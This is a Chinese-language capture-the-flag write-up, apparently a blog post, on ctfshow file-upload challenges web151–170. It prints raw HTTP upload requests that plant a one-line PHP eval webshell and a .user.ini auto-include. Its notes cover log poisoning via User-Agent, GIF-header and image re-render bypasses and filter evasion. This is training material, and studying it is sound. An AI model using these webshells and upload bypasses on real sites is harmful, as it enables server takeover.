[CTF]ctfshow 文件上传

简介: [CTF]ctfshow 文件上传

开始

web151

后端无验证,考虑在浏览器中修改前端代码

web152

\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4这为何能提示文件内容不合规

Content-Type: image/png关键字段

此题有后端验证

web153

上传.ini文件

.user.ini中写auto_append_file=1.txt

(auto_prepend_file=1.txt也可,二者区别是是在脚本执行前或脚本执行后加载文件)

修改Content-Type

发.user.ini

POST /upload.php HTTP/1.1
Host: 848be834-1c62-42ba-b6fb-67e17d0797f2.challenge.ctf.show
Content-Length: 204
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEVXGJZAVO5a3WfZC
Origin: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show
Referer: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
------WebKitFormBoundaryEVXGJZAVO5a3WfZC
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
auto_append_file=1.txt
------WebKitFormBoundaryEVXGJZAVO5a3WfZC--

发1.txt

POST /upload.php HTTP/1.1
Host: 848be834-1c62-42ba-b6fb-67e17d0797f2.challenge.ctf.show
Content-Length: 204
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEVXGJZAVO5a3WfZC
Origin: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show
Referer: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
------WebKitFormBoundaryEVXGJZAVO5a3WfZC
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/png
<?php eval($_POST[1]);?>
------WebKitFormBoundaryEVXGJZAVO5a3WfZC--

若出现回显,则可尝试命令执行

回显:Notice: Undefined offset: 1 in /var/www/html/upload/1.txt on line 1

疑问:在这个在线环境中,如果上传多个.user.ini或多个1.txt会导致回显异常,这是怎么回事呢

web154

对上传的文件内容检测,要求不能包含php,考虑替换为短标签

web156

[]被ban可用{}

web157

;被ban,要求POST之后不能跟任意括号,考虑使用array_pop()方法把$_POST的最后一个内容弹出,尝试执行

web158

同上题

web159

不让用括号,适用include

为何写马的机会只有一次?

写错了后面就没法执行了

web160

空格不让用就换成0d,换行符

.user.ini

auto_append_file=1.txt

1.txt

<?php include '/var/lo'.'g/nginx/access.lo'.'g'?>

ua

<?php eval($_POST[1]);?>

问题提示?

Notice: Undefined offset: 1 in /var/log/nginx/access.log on line 23

为何要使用/upload/呢,少了最后一个/就没法成

web160

GIF89a绕过

文件头基操

web161

ip地址转换为长地址,不包含.

这是远程地址包含

需要远程服务器,稍后尝试

这道题也可用session竞争,只是远程包含不需要竞争条件,做起来比较方便

copy shell.jpg /b+txt.php/a jshell.jpg

web165

CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality二次渲染,马可能被过滤

绕过服务器对图片的二次渲染

图片需要精细挑选

web166

压缩包包含,一般来说.zip文件不会被解析,这个题目点击下载文件返回html内容,很奇怪,回显内容没看到eval的马,但是使用post能传参数能RCE

web167

httpd和htaccess有什么关系??

web168

基础免杀,上传php后缀文件,数据包内反引号内写动态函数,达到RCE

web169

高级免杀,想要包含日志文件,目录下需要有index.php文件,才可包含/var/log/nginx/access.log,故先上传个任意内容的index.php,然后再.user.ini包含日志,通过马RCE

web170

与上题类似,有时浏览器没有回显,但是burpsuit有回显,需要使用phpinfo();标记,比较好观察

到此完结

相关文章
|
4天前
|
SQL XML 安全
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
|
4天前
|
安全 网络安全 数据安全/隐私保护
|
4天前
|
安全 网络安全 数据安全/隐私保护
Pikachu File Inclusion 通关解析
Pikachu File Inclusion 通关解析
|
4天前
|
XML 安全 JavaScript
|
4天前
|
安全 网络安全 数据安全/隐私保护
Pikachu CSRF 通关解析
Pikachu 靶场 CSRF 通关解析
|
19天前
|
应用服务中间件 PHP nginx
[CTF]ctfshow文件包含
[CTF]ctfshow文件包含
|
19天前
|
Shell PHP
[CTF]ctfshow命令执行
[CTF]ctfshow命令执行
|
19天前
|
域名解析 Linux PHP
[CTF]ctfshow web入门
[CTF]ctfshow web入门
|
19天前
|
PHP
[CTF]ctfshow php特性
[CTF]ctfshow php特性